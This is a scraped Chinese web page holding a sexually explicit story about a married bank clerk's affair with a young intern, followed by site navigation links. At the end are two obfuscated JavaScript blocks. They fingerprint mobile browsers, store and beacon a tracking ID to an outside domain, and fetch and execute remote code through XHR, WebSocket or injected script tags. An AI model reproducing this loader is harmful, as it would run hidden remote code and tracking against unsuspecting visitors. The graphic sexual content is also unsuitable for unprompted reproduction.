图片载入中

一江春水觅何处

特大字】 【大字】 【中字】 【小字

天出奇的热,连吹来的风儿都带有丝丝热气。就像我的心情一样有点烦躁,我不自然的在座位上挪动了下屁股,下身不时传来的一股股燥热让我坐立难安!

“唉,那个要来了吧,这次有点提前?”我不好意思的偷看了一下周围同事,向洗手间走去……果然都湿透了,护垫上水漉漉一滩粘液分泌物。手指不小心触碰到娇嫩肥厚的肉唇,一阵酥麻闪电般袭来!“唔……啊……”嘴里难以自抑地发出呢喃!

我幽怨地自言自语,“都怪老公,出差一个星期才回来,昨天回来了好不容易做了!没几下就清洁熘熘了,弄得人家不上不下!”刚说完自己就一阵害臊,“呸,舒雅你怎么变得这么下流了!老想着这些事啊!难道真像倩倩说的女人一到了这个年纪就会变骚了?”一想到这个字眼,脸上一阵发烧!“以前自己多清纯啊!柏拉图式的恋爱才是最高尚的!”

“都怪倩倩天天没事就说这些,害得人家……”我把气撒到倩倩身上。

“铃铃!”手机铃声响了,一看,说曹操曹操就到,是邬倩倩打来的。

“喂!干嘛呢,我的舒大小姐。”

想到刚才的事,我没好气的说:“干嘛?!你说干嘛!上洗手间呢!”电话里明显一愣,随即传来一阵浪笑,“在洗手间?该不是你家周岩昨天没弄得你舒服,你偷偷跑到洗手间里那个了吧!”被说中了心事,我一阵慌乱,脱口道:“要死啊!邬倩倩,你别……别瞎说!”

“哈哈,被我说中了吧!我们舒大美人一个人偷偷躲在厕所里……”我羞的无地自容,恼怒道:“邬倩倩,你再说,我真生气了。”

“好啦,好啦,人家和你开玩笑的啦,别生气啦,人家乖啦!要不人家给你打屁屁啦!”邬倩倩故意嗲着声音撒娇。

“真拿她没办法!”我心里又气又笑,每次都这样,惹得人家生气了,就故意装无辜装可爱撒娇,只要这个撒手锏一出,每次都奏效!“哼!有什没事,快说吧!”心里已原谅了她,嘴上还是故意凶凶的。

“你忘啦,今天周末啦,HAPPYNIGHT!晚上老地方,我都订好位子了!”

“周五啦?!哦,那好吧,你约若男了吗,下班后我自己过去。”这几天那个快来了,挺烦的,连周末到了都忘了!

“若男去外地了,要不要我去接你?”

“不用了,下班后我去接嘉嘉送我妈那,然后还得回家换衣服呢。”

“哦,那好吧。对了,舒大美人你可别在厕所呆太久了,你的同事会怀疑的!嘻嘻……”邬倩倩说完马上就挂了。

“你还说!”话筒里已传来嘟嘟声!

我不禁大羞,原来自己正光着屁股坐在马桶上,浅粉色镶蕾丝边的内裤脱在大腿侧,赶紧从包里拿出纸巾擦干净黏煳煳湿漉漉的裆部,换上干净的护垫。看到废纸篓里自己刚才换下的鼓胀胀黏煳煳的护垫,有点不好意思,仔细地拿纸巾包好放回纸篓里。

好像是挺长时间了,想到刚才倩倩说的,我心虚地回到办公室,还好大家都好像各自在忙自己的事。暗嘘了口气,刚一坐下,在后面的马小毅坐在椅子上用脚尖踮着地悄悄移到我后面,轻轻地说:“舒雅姐,你……你今晚……有空吗?!”话没说完脸涨得通红。

我笑吟吟地看着他“什么事吗?”说实话,眼前这个害羞腼腆的大男孩的,高高瘦瘦,挺好看的眉眼,虽然说不上多帅,但看着让人很亲近的感觉!脸上挂着纯净的微笑,总觉得有种似曾相识的感觉!

“没……没事……不……有,有……事……我想……请……舒雅姐……”看着我盯着他,更加的语无伦次。

“马小毅,你在干什么!工作时间别说闲话!别忘了你还是实习生!”胖胖的钱主任从他的办公室里出来嚷道。

马小毅像受惊的兔子似的,脸吓得刷白,头低低的。其他同事都没说话,都静静地看着马小毅。

我有点看不下去,“主任,小毅刚才是问我工作上的事,不是在闲聊!”

“哦,这样啊!那就没事了。”钱主任脸上堆满谄媚地笑容,边说边走到我身旁,一阵浓烈的口臭味熏得我差点吐出来。

“小马啊,你可要多向舒雅学习,舒雅可是我们银行的优秀员工了,又能干又漂亮……”我听的直皱眉头,马小毅只会重重地点着头。

钱主任看我没搭理他,尴尬地讪讪一笑,“你忙着,忙着。”就出去了。

“小毅,别担心的,钱主任就是那个样子的。你刚才要和我说什么?”

“没有……没……有!”马小毅低着头,脸色苍白,口气里充满恐慌。

看着他这个样子,不知道为什么,我心里有种很心疼的感觉,很心疼,很心疼……看看表,已经快四点了,就快下班了。

“得给老公打个电话告诉他晚上我不回去吃饭了。”

“咦?手机放哪了?”找遍了都没找到!“最后是什么时候用过手机呢?”我开始回想。

“洗手间!”赶紧跑到洗手间,幸好还在,手机静静地躺在水槽盖上!

“唿!”我松了一口气,手机丢了也就算了,里面的电话号码丢了就麻烦了!

刚想出去,无意间瞥向废纸篓,刚才自己换下的包好的护垫不见了!

“不可能的!

我明明就放在上面啊!”废纸篓也没被清洁阿姨清理过啊,里面其他的东西都在,就是那个护垫不见了!

“难道……难道……被人给拿走了?!”我心跳的厉害!

“自己今天流了那么多……”想到那鼓胀胀黏煳煳的样子,我羞的脸上都快滴出血来!

这间洗手间就是我们部门在那使用,“刚才我出来后,谁去过呢?”好像黄蕾出去过,马小毅也出去过,钱主任也出去过……我不敢再想下去了!!!

刚停好车,“亲!我在这里!”倩倩也正好从她那辆敞篷红色奔驰车上下来。

“宝贝,让老公抱抱!”倩倩热情的抱着我,又夸张的拉着我的手围着我看了一圈,“亲亲老婆,你今天真是美呆了!所有男人都会为你疯狂的!”我对自己的气质相貌身材还是很自信的,从小到大就一直是大家心目中的班花、系花、校花、行花、即使是现在有了嘉嘉后,也是他们幼儿园里家长之花!身高168公分,标准的衣服架子,身材九头身黄金比例。生小孩后不仅身材没有走形,反而更有一种熟媚丰韵的味道!

“你才美呢!而且还有钱,男人追你都快排到黄浦江去咯!”我也由衷地夸奖。

倩倩身高比我还高四公分,标准的模特身材,胸部d罩杯,臀部又肥又翘,臀形呈水蜜桃型,配上软软柔滑的水蛇腰,走起路来一摆一扭的,不要说男人了,就是女人看了也会妒忌!长得又艳丽嘴角一颗美人痣,一颦一笑都有一种艳到骨子里,媚到骨子里的感觉。而且现在单身还很有钱,去年和她开房地产公司的老公离婚后,分得几千万的财产,好几套闹市区的高级公寓和一套别墅,是个标准的大富婆!

倩倩听我夸她美,脸上露出了得意的微笑,随即就嘟起性感的嘴唇,“唉,我是不错啦,不过还是得看和谁比了!和你这复旦之花比,我也就是个丫鬟的命了!”

“你没听过吗?!都有人给你写诗了,临窗凝坐独幽情,云鬓花颜衬香腮。

借问玉颜胀相欢,剪水才动何人猜。”倩倩边摇头晃脑的吟诵,脸上还故意做出妒忌的表情。

我知道这是当年追求自己的学生会会长写给自己的,后来不知怎么流传出去,全校为之轰动,就流传开了。

“你知道当年我们学校男生中还流传另外一首呢!”倩倩神神秘秘地说着。

“是吗?”这我倒是没有听过。

“粉粉奶头挺又翘,拍拍屁股肉乱跳。屄屄肥厚不长毛,鸡鸡插入浪又叫!”我整个人都傻在那了,说的都是自己的身体特征!还都说对了!当年的男同学们怎么会知道我身体的样子?是不是偷看过我啊?突然觉得自己当年走在校园里,男同学看到的好像是自己没穿衣服的样子!

“啊……”羞得都要哭出声了。

“扑哧!笑死我了,我编的你也信啊!”倩倩一边跑一边坏笑!

我明白了,我的身体特征只有倩倩她们知道!不顾形象地握紧粉拳,“邬倩倩,你死定了!!!”

“救命啊……我不敢了啊!”

“休想!”传来一路娇笑声,仿若回到学生时代,好怀念……慵懒地斜靠在露天包厢里被改造过的秋千躺椅上,微风习习,对面就是黄浦江,江面上不时驶过装饰的很辉煌漂亮的邮轮。

倩倩倚靠着我身上,端着高脚玻璃杯,琥珀色的液体随着杯身的晃动漾出流光溢彩。每喝一口,倩倩都发出满足的赞叹!“这瓶74年波尔多产的cune太棒了!”

“倩倩,和你说件事,你不许笑话我!”

“什么事?说吧,我才不是那样的人!”倩倩摆弄着玻璃杯无所谓地说着。

“……”“啊?真的啊?!”倩倩那双细长媚艳的美瞳睁的大大。

“恩。”虽然害羞,还是点了点头。

“你真的去洗手间里自摸啊?!”倩倩强忍着笑意。

“去你的,我说的是那护垫啦!”

“不都一样嘛!”

“讨厌啦,我说认真的啦,都担心死了!”

“肯定被偷走了,舒大美人的湿漉漉的护垫谁不想要啊!”我睁大眼睛恶狠狠地做出要掐脖子的姿势。

“好啦,好啦,美女饶命!我说就是了。偷肯定是被偷了,问题是被谁偷的,据你刚才说的,三个人有嫌疑,一个是黄蕾,一个是马小毅,还有就是钱主任。黄蕾是女孩子,应该不会去偷……”正说着侧面传来一个磁性的声音,“两位优雅的女士,我可以请你们喝一杯吗?”一个很帅的年轻人,站在旁边包厢很绅士地举着杯向我们两致意。

“帅哥啊!”倩倩两眼发光,就像是狐狸看见猎物般……看着他们聊的热火朝天,我知道今天的姐妹聚会差不多了,拿起手袋,“倩倩,我先走了,你慢慢玩吧。”倩倩歉意地看着我,附在我耳边轻轻道:“对不起啦,老娘好久没见到这么好的货色了,妹妹体谅下姐姐饥饿的心情,嘻嘻……下次再帮你分析护垫的事,何况谁知道那护垫是你的啊!”

“好啦,知道了,你发花痴啦,自己当心点!”才十点多,不知怎的一点都不想回家,沿着黄浦江没有目的的逛着,无聊的用手机登录QQ,好朋友们都不在线,摇头苦笑,“明天双休,大家都有节目吧!”

“嘟!”有条信息发来,“舒雅姐,你怎么在线啊?!”是马小毅。

脑海里闪过他纯净的笑容,“呵呵,你姐被放鸽子了,正在黄浦江压马路呢!”

“具体那里?”立刻就回复了。

“好像麦当劳附近吧。”

“等我!”我愣愣地看着这条信息……“舒雅姐……”马小毅气喘吁吁地站在我面前,心里涌起一阵感动,知道从他住的地方到这里起码要三十分钟路程,他却花了不到十分钟……用手轻轻擦拭着他脸上的汗珠,“傻瓜,慢点跑嘛!”马小毅不好意思的躲着我的手,“我……我怕……你走了!”

“别动!”我细心地擦着。

“姐不走!姐等你!你今天下午不是问姐晚上有空吗?姐现在就告诉你,非常有空!”

“真的?!”

“恩。”我笑吟吟看着他兴奋的样子,心里有种说不出的感觉,好像是幸福……好像是甜蜜……“那……那姐我们去吃饭吧!”

“吃过了!”

“啊!”看着他张着大嘴不知所措的样子,我忍不住咯咯娇笑,“傻瓜,但我又饿啦!走吧,姐姐今天一定要吃穷你。嘻嘻。”

“姐……给你……”“什么啊?”马小毅伸出右手,手心里有一朵玫瑰,可能是拽的太紧了,花瓣都皱巴巴了!

一种非常特别的异样感觉,我收到过无数次的鲜花,这一次算是最寒酸的吧,可给我的感动却是最特别的。

“谢谢,真的谢谢你!”

“姐,也谢谢你!”

“为什么啊?”

马小毅腼腆地笑着,“今天是我23岁生日,谢谢姐姐给了我23年来最幸福的生日!”真诚地看着我,眼神里是那么的纯净,没有丝毫杂念!

我突然一阵懊悔,为什么下午不答应他呢?!抓住他的手,“走,弟弟,姐姐带你过生日,带你买蛋糕去!”一个小巧精致的巧克力蛋糕上面插着23字样的蜡烛,车窗的的玻璃镜倒映出摇曳的烛光。

“来,弟弟许个愿,吹灭它!”我轻轻哼唱着生日歌,看着这张干净还带着一些稚嫩的脸,万般怜惜涌上心头!一抹微笑从他脸上绽放!

脑海里突然掠过一缕闪光!那是从心底最深处尘封已久的回忆。情窦初开时,隔壁班有个大男孩,脸上时常挂着微笑,就像罗大佑童年里唱的那样,“隔壁班那个男生什么时候才会经过我的窗前!”当他终于经过我的窗前时,对我露出了微笑,干净、纯洁、无暇,我的心醉了!这么多年过去了,我已忘记他叫什么名字了,甚至连长相在记忆里都模煳了,但惟独那抹微笑早已镌刻在心底!

“找到了,终于找到儿时的那份美好和纯真!”总觉得眼前这个腼腆害羞的大男孩似曾相识,他的微笑往往不经意间就会触动自己异样的情思!“原来那是儿时美丽地延续!”

我幽幽一叹,“谢谢你!”

“谢谢我?!

”姐你……怎么啦?“马小毅有点丈二摸不着头脑。

”嘻嘻,不告诉你!“我的心情不是一般的好,非常有兴趣逗逗这个傻乎乎的弟弟,”告诉姐,你许了什么愿望。“”呵……呵……“”讨厌,傻笑干嘛啊!“我不自觉地对着马小毅娇嗔道。

”呵……我怕……说出来,姐不会答应,而且还会生气的……“还是傻傻地摸着头在那笑。

”说!姐不生气,今天你生日你是寿星公!姐姐会答应你的要求的,告诉姐想买什么……“马小毅受了我的话的鼓舞,咽了咽口水,”姐,那我说了啊!我想亲姐姐一下!“最后一句语速很快一下就带过了!头又深深地低下去。

”啊……啊……“我还是听清了他的话,心里一阵乱撞!我没想到他会提这样的要求,以为只是想买一些礼物而已。车厢里两人都默不作声,气氛有点尴尬!

”舒雅啊,舒雅,他还是小孩子,只是对异性有点好奇而已,今天又是他的生日,答应一下他的要求有什么关系!“自己说服着自己。

”来吧,弟弟亲姐姐一下有什么关系。“我故意装作大方,脸颊凑向马小毅……他轻轻地吻在我的脸颊,久久地停留!感受到火热的鼻息慢慢地靠近嘴唇,我僵怔在那里。

”我该推开他吗?!可是为什么我丝毫没有讨厌的感觉,甚至还有点渴望!“滚烫的唇狠狠熨平了我的微弱地反抗,舌头顽强地撑开我紧闭的红唇。

”啊!伸进来了……“厚实的舌头笨拙地舔弄着我的口腔里的嫩肉,不时,一股股口水随着舌头的进出涌入我的嘴里,带着年轻人特有的清新,健康的味道!我几乎是贪婪地品咽那年轻的味道!舌头无耻地缠绕着进犯的同类……感受到我的热情,马骁毅疯狂地抱住我,双手死死地箍住我的后背,防佛要把我镶入他的身体里面!丰满挺翘的胸部几乎没有空隙地贴着他的前胸,被挤压的产生一丝痛感,嘴唇被紧紧地堵住没有丝毫空隙,几乎喘不过气来!这一切的一切,不断刺激着这些天堆积的情欲!下身的燥热越来越炙,燃烧着我仅存的理智!我不顾一切地搂住他,激烈地回报着他的火热……发抖的手沿着光滑的背部滑到我的屁股,猛的掀起短裙,心急地扯着我的内裤,臀部紧压着,一时之间马小毅奈何不了,急的不知所措,看着他着急的摸样心里暗笑,”小傻瓜!“臀部偷偷地轻抬……终于内裤被扯下,下身感到丝丝凉意,光滑的皮肤上泛起一层鸡皮疙瘩,不敢睁开眼睛,无意识地摇着头部嘴里呢喃着,”不要……不要……弟弟……“浓重的唿吸传来夹杂着厚厚的欲望。

”啊!“火热的异物顶在了我最敏感的穴口,感受到比老公粗硬很多的异物正顽强的一寸一寸的进入自己的身体,窒腔间的的皱褶缓缓地被烫平。眼前渐渐开始模煳……”叭!“响起重重的汽车喇叭声。

”朋友还没搞完啊!“一对年轻情侣坐在车里带着坏笑看着我们,说完扬长而去。

突然间,老公的温柔的脸庞闪过脑海,我不知哪来的力气使劲地推开了压在身上的马小毅!

”不可以的,我们不可以这样子的!“”姐……“马小毅带着无助和错愕望着我。

”对不起,我们不能这样子,姐姐是有老公的,不能对不起他!“我不敢多看他,胯下的那根依然张牙舞爪,它刚刚曾进入过自己的身体……”下车!快下车!“我急促地喊着,好害怕自己会忍不住改变主意!

”姐……我……“”快下车!“带着歇斯底里……看着马小毅一步步离开,我坐在车里无助地抱着自己的身体。

”姐……“马小毅转过身来脸上挂满泪水,”我知道配不上你,今天我不该这么对你!可我觉得你就是我最亲近的人,我实在忍不住要去接近你,哪怕是偷偷地看你一眼!我真的好害怕你今后不理我了!我……我今后还可以叫你一声姐吗?“我的嘴角边慢慢绽开一丝微笑,眼眶中缓缓坠下一串泪珠,那是幸福的泪珠!

”可以,永远都可以“,我哽咽着说,”来,上车吧,外面冷“,我不知道怎么了,忽然感觉眼前这个男孩打动了我。

马小毅坐到我旁边,轻轻的擦去我脸上残留的泪珠,我不由自主的唿吸加快,”姐…对不起,我……“我忍不住的凑上嘴唇截住了马小毅的倾诉,眼前这个泪流满面的男孩令我无比的温馨。马小毅的舌头撬开了我的一排牙齿,我想拒绝,可是想到他跑过来见我,还拿着皱巴巴的玫瑰花的情景,我感到幸福,很幸福,这种幸福迫使我无法拒绝他。

厚实的舌头再一次笨拙地舔弄着我的口腔,我又一次贪婪感受着那年轻的独特的味道!马小毅环抱着我,舌头从我的嘴里滑了出来,慢慢的亲吻着我的脸颊、额头,当把我嫩红的耳垂含进嘴里时,一阵莫名的电流走遍全身,那种欲望好像被火化引燃,”嗯……嗯…“我忍不住的呻吟起来。

马小毅好像感觉到我的异样,腾出手伸进衣服,隔着乳罩,反复的揉搓我的乳房,这时的马小毅好像并没有刚才那股冲动劲,另一只手慢慢从背后伸进短裙,跳开内裤,直接揉着我浑圆的屁沟。我感觉自己全身都在抖动,那股原始的野性被激发了。马小毅这时从上边落下乳罩,两个指头夹着乳头不断的摆弄,”嗯……啊…“,乳头传来的刺激击遍全身,只感觉一股热流瞬间从小穴直流而下。

”姐……我想要……“,马小毅的声音传入了我的耳中,我这时已经被那种不可拒绝的欲望缠绕着,不能自拔。”嗯……嗯…“我没有回答,被她拨那个弄的乳头早已挺立,小穴内早已泛滥成灾,我不知道今天面对这个男孩怎么会有如此大的反应,嘴里的呻吟声无法停歇,默认着马小毅快点充实我的小穴。

马小毅见我没有回答,一只手退下他的裤子,掏出那只坚硬巨大的肉棒,我无法看清肉棒现在的摸样,但想起刚才伸进小穴的情形,小穴忍不住紧缩了下,”来吧,插进来吧“我心理默默说着。

他慢慢的撩起我的裙子,手扶着巨大肉棒,寻找着穴口,只感觉肉棒在阴户外摩擦,碰到阴唇的时候,又一次电流走遍全身。

”啊……“我长长的喊了出来,硕大的肉棒申了进来,充满了整个小穴,紧紧的被我夹在里面,里面的爱液似乎都无法溢出。他笨拙的来回抽插,爱液不断的从体内分泌而出,小穴像热楼一样燃烧着。

”啊……啊…啊……“我浑身好象过了电一样,不停地颤抖,圆润的屁股开始伴随着马小毅的抽送向上挺起。

我的呻吟声也越叫越大,一对沉甸甸的乳房也随着晃动着,马小毅的挺动也快了起来,我的肥嫩臀部每次都顶到了他的腹部,我现在已经兴奋的不得了,感觉自己脸色绯红春意十足,浑身香汗淋淋,粉红的嘴唇微张着不断的发出”哦…哦…哦…啊…啊…啊…“小穴里流出的爱液顺着两人交合处的缝隙渗到了我白嫩的大腿上,弄的大腿根粘粘的。

马小毅一次次的撞击,每次他的大肉棒都深深的插到我的阴道最深处,我这时的欲望已经涨到了极点,温柔满足的看着马小毅还伸出香嫩的莲舌引导着马小毅来吻我,马小毅向前探了探身体,我们俩人的嘴唇粘到了一起,我把柔软的舌头伸进高义的嘴里和他的舌头搅到了一起。

马小毅的手一边揉搓着我的乳房,下边坚挺的肉棒还不停的在我的肉缝中出出入入,我感觉自己真的兴奋道了极点。这时马小毅身体直直的绷紧了,一股热流直击小穴最深处,我们一起达到了高潮。

马小毅此时汗流浃背的瘫爬在我的胸前,我一双浑圆的乳房被他结实胸膛压住,我软软的躺在座椅上,眼前的男孩给予了我无比兴奋的冲动,我把带进了野性的高潮之中。但又想到我已是为人妇,感觉羞愧于老公。

”姐,我爱你…“马小毅轻轻的在我的耳边说,还不忘用舌头贪婪的吮吸我的耳垂。”弟弟,我们就这一次,好吗,姐姐已经嫁人了……“我从沉醉的舌吻中清醒过来,我是有老公的,我不能这样下去。

马小毅不等我说完,就用笨拙的舌头塞进我的口中,两只舌头瞬时又缠绕在一起,不知这个缠绵了多久,马小毅抽出舌头,”姐,我知道,可我爱你…不管你是不是别人的妻子,我心理一直是爱你的。“”姐,你会生气吗?“我摇摇头,”弟弟,姐也爱你,但是我们已经发生了错误,不要再继续下去了,我希望……“没等我说完,马小毅推开车门,走了两步”姐,我知道了,我还是希望你一直当我的姐姐“,那张充满青春的笑容,留在了我的脑海里。

我取出纸巾,擦了擦阴部,内裤被撕烂了,已经不能再穿了,整理好乳罩和上衣,躺在车里,”老公,对不起“,怀着对马小毅的留恋对老公默默忏悔着。

我想这个青春懵懂的大男孩只能在心理默默的爱他了。

【完】


上一篇:猎艳情魔(02)

下一篇:新神雕:第五章天欲教踪,五美争艳


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};